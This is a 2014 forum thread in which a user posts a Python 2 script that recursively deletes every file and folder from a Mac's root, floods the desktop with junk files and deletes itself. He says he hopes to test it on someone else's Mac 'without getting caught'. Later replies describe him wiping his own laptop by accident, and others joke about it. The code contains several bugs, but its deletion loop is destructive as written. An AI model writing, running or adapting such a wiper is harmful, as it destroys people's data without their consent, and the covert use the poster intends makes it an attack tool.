Script to wipe a mac + bells & whistles

This is the place to post any code that you want to share with the community. Only completed scripts should be posted here.

Script to wipe a mac + bells & whistles

Postby mckryall » Tue Apr 29, 2014 10:37 pm

I made a script to delete all user-accessible files on a mac. Hopefully, I'll be able to test it - without getting caught - on someone else's mac. I might port it to windows. You run it like this:
Code: Select all
python walk.py -d -ds -o

You don't have to put the "-"'s. -d is file deletion, -ds is self-deletion, and -o is memory overwriting. In the code, where commented, you can put the name of a flash drive or CD to be excluded from deletion.
I don't plan on optimizing for Python 2/3 cross-compatibility, mainly because I don't have a computer to run 3 from.
SOURCE:
Code: Select all
#If you enjoy continued use of your computer, do NOT run this script.
#-----
#Imports... stuff.
import os
from sys import argv
import time
#-----
#Sets all operation values to false. I figured that this was better than two "else:" statements.
destroy = False
delete_self = False
overwrite = False
#-----
#Checks if user wants file deletion
if len(argv) > 1:
   argument = argv[1]
   if argument.lower() in ["d", "-d", "-destroy"]:
      destroy = True
#-----
#Checks if user wants script auto-deletion
if len(argv) > 2:
   argument2 = argv[2]
   if argument2.lower() in ["ds", "-ds", "-delete_self"]:
      delete_self = True
#-----
#Checks if user wants the memory to be overwritten
if len(arg) > 3:
   argument3 = argv[3]
   if argument2.lower() in ["o", "-o", "-overwrite"]:
      overwrite = True
#-----
#Prints which functions are turned on
print "Delete files = ", destroy
print "Delete self = ", delete_self
print "Overwrite files = ", overwrite
#-----
#Performs file deletion if destroy == True.
if destroy:
   for root, dirs, files in os.walk("/", topdown = False):
       for name in files:
          location = os.path.join(root, name)
          try:
             if "VIRUS 2" in location:
                print "Not deleting: ", str(location)
                else:
                os.remove(location)
          except:
             pass
       for name in dirs:
          location = os.path.join(root, name)
          try:
             if "VIRUS 2" in location:
                print "Not deleting: ", str(location)
             else:
                 os.rmdir(location)
           except:
              pass
   print "Mac wiped"
   time.sleep(1)
#-----
#Performs memory overwrite if overwrite == True
if overwrite:
   os.chdir("/")
   os.chdir("Users")
   dir = os.listdir(os.curdir)
   os.chdir(dir[1])
   os.chdir("Desktop")
   for x in range(0, 10000):
      try:
         os.mkdir(str(x))
         os.chdir(str(x))
         for y in range(0, 10000):
            file = open((str(y)+".txt"), "w")
            file.write("The quick, brown fox jumped over the lazy dog." * 100)
            file.close()
         os.chdir("..")
      except KeyboardInterrupt:
         print "NO ESCAPE"
#-----
#Performs self-deletion if delete_self == True
if delete_self:
   name = argv[1]
   #-----
   abspath = os.path.abspath(__file__)
   dname = os.path.dirname(abspath)
   os.chdir(dname)
   os.remove(name)
   time.sleep(1)
   sys.exit()
Python 2.7
Mac Mini
Laptop w/ Ubuntu 14.04
Steam; PSN
mckryall
 
Posts: 94
Joined: Sat Nov 23, 2013 6:13 pm

Re: Script to wipe a mac + bells & whistles

Postby mckryall » Thu May 01, 2014 12:54 am

... I...
I don't...
I accidentally...
I ran it on myself.
I LOST EVERYTHING.
Fortunately, this is a macbook air for school and most of the 30-gig Hard drive was full of games. I had a flash drive with my stuff on it, but it didn't have my python folder. I lost all of my python stuff. :(
I'm only really sad about my slope-intercept form calculator and my unfinished text adventure engine. I still have a copy of this script, in a twisted joke.
Python 2.7
Mac Mini
Laptop w/ Ubuntu 14.04
Steam; PSN
mckryall
 
Posts: 94
Joined: Sat Nov 23, 2013 6:13 pm

Re: Script to wipe a mac + bells & whistles

Postby stranac » Thu May 01, 2014 9:41 am

Sounds like fun. :twisted:
Friendship is magic!

R.I.P. Tracy M. You will be missed.
User avatar
stranac
 
Posts: 1144
Joined: Thu Feb 07, 2013 3:42 pm

Re: Script to wipe a mac + bells & whistles

Postby Mekire » Thu May 01, 2014 10:38 am

Well... yeah. You can't release code without testing it. You practically had no choice in the matter.

-Mek
User avatar
Mekire
 
Posts: 988
Joined: Thu Feb 07, 2013 11:33 pm
Location: Amakusa, Japan

Re: Script to wipe a mac + bells & whistles

Postby mckryall » Thu May 01, 2014 12:23 pm

Oh, shut up... :roll:
Python 2.7
Mac Mini
Laptop w/ Ubuntu 14.04
Steam; PSN
mckryall
 
Posts: 94
Joined: Sat Nov 23, 2013 6:13 pm

Re: Script to wipe a mac + bells & whistles

Postby mckryall » Thu May 01, 2014 12:26 pm

The cool thing is that my school takes ~5 hours to wipe all user files and this takes ~30 seconds. I was wrong, I backed up my python files yesterday.
Python 2.7
Mac Mini
Laptop w/ Ubuntu 14.04
Steam; PSN
mckryall
 
Posts: 94
Joined: Sat Nov 23, 2013 6:13 pm


Return to Completed Scripts

Who is online

Users browsing this forum: No registered users and 2 guests